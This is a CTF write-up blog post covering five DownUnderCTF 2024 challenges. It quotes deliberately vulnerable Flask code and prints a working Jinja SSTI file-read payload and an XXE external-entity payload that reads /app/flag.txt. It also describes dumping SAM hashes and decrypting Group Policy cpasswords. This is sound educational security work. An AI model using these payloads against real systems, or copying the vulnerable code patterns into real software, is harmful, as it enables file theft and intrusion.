July 08, 2024

#DownUnderCTF 2024

These are my write-ups for some challenges from DownUnderCTF 2024. This is my very first CTF write-up, and I had a lot of fun participating. I learned about many new tools and methods.

DownUnderCTF Banner

#Parrot the emu [Web]

Description: It is so nice to hear Parrot the Emu talk back to us The pattern of string that would be pasted to text

This challenge provides the source code for a Flask web application that repeats whatever we input into the chat box. When we open the page, we see the chat box interface.

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []

    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)

        chat_log.append(('User', user_input))
        chat_log.append(('Emu', result))
    
    return render_template('index.html', chat_log=chat_log)

if __name__ == '__main__':
    app.run(debug=True, port=80)

Examining the source code in app.py, we notice that user input is directly passed to the result without sanitisation. This allows us to inject code into the template, which is executed on the server. This vulnerability is known as Server-Side Template Injection (SSTI). By exploiting this and knowing the templating engine is Jinja, we can confirm the vulnerability with a payload that returns 49 instead of 7*7.

feedback-form

After further reading about SSTI vulnerabilities on HackTricks, I found a resource called PayloadsAllTheThings - SSTI, which offers useful payloads for exploiting SSTI. To read the flag located at ./, I used a payload from this resource to successfully retrieve the flag.

{{ get_flashed_messages.__globals__.__builtins__.open("./flag").read() }}

Flag: DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

#Zoo Feedback Form [Web]

Description: The zoo wants your feedback! Simply fill in the form, and send away, we'll handle it from there! zoo-feedback-form

In this challenge, we are presented with a feedback form and the source code for the web application. By examining the source code, we can identify a vulnerability to XML External Entity (XXE) injection, as the XML parser is configured to resolve entities. This vulnerability allows attackers to send malicious XML payloads using the !ENTITY directive to read files from the server. Additionally, it can be exploited to access sensitive data, execute remote requests, and perform denial-of-service attacks.

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        xml_data = request.data
        print(xml_data.decode('utf-8'))
        try:
            parser = etree.XMLParser(resolve_entities=True)
            root = etree.fromstring(xml_data, parser=parser)
        except etree.XMLSyntaxError as e:
            return render_template_string('<div style="color:red;">Error parsing XML: </div>', error=str(e))
        feedback_element = root.find('feedback')
        if feedback_element is not None:
            feedback = feedback_element.text
            return render_template_string('<div style="color:green;">Feedback sent to the Emus: </div>', feedback=feedback)
        else:
            return render_template_string('<div style="color:red;">Invalid XML format: feedback element not found</div>')

    return render_template('index.html')

I found a common XXE payload and modified it to read the contents of the flag at /app directory.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY flag SYSTEM "file:///app/flag.txt">]>
            <root>
                <feedback>&flag;</feedback>
            </root>

To exploit this vulnerability, we need to use BurpSuite or similar tools to send requests directly to the server. The frontend wraps the input in ${feedback}, causing the XML parser to error if submitted through the feedback form, preventing us from sending the payload directly through the UI.

burp-suite

FLAG: DUCTF{emU_say$_he!!0_h0!@_ci@0}

#Baby's First Forensics [Forensics]

Description: They've been trying to breach our infrastructure all morning! They're trying to get more info on our covert kangaroos! We need your help, we've captured some traffic of them attacking us, can you tell us what tool they were using and its version?

Analysing the pcap file in this challenge, we discovered several attempts to access our directories quickly. Further inspection of the TCP stream revealed the attacker's tool, identified as Nikto, in the User-Agent header.

wireshark

FLAG: DUCTF{Nikito_2.1.6}

#SAM I AM [Forensics]

Description: The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files. Can you reproduce how they got the Administrator’s Password with the artifacts provided?

We are given SAM and SYSTEM registry hives in this challenge and must determine the admin account password. Using the tool samdump2, we can extract the hashes.

The hash are in this format: username:RID:LM Hash:NTLM Hash::: hash-dump

For this challenge, I used CrackStation to crack the hashes and got the answer. crackstation

Flag: DUCTF{!checkerboard1}

#Bad Policies [Forensics]

Description: Looks like the attacker managed to access the rebels Domain Controller. Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?

In this challenge, we are given a zip file containing several Group Policy Objects (GPOs). While examining the folders and researching online, I discovered the groups.xml file, which had a cpassword value with a hashed password. Using a gpp-decrypt tool, we can decrypt the hashed password to obtain the flag for the challenge. gpp-decrypt

Flag: DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}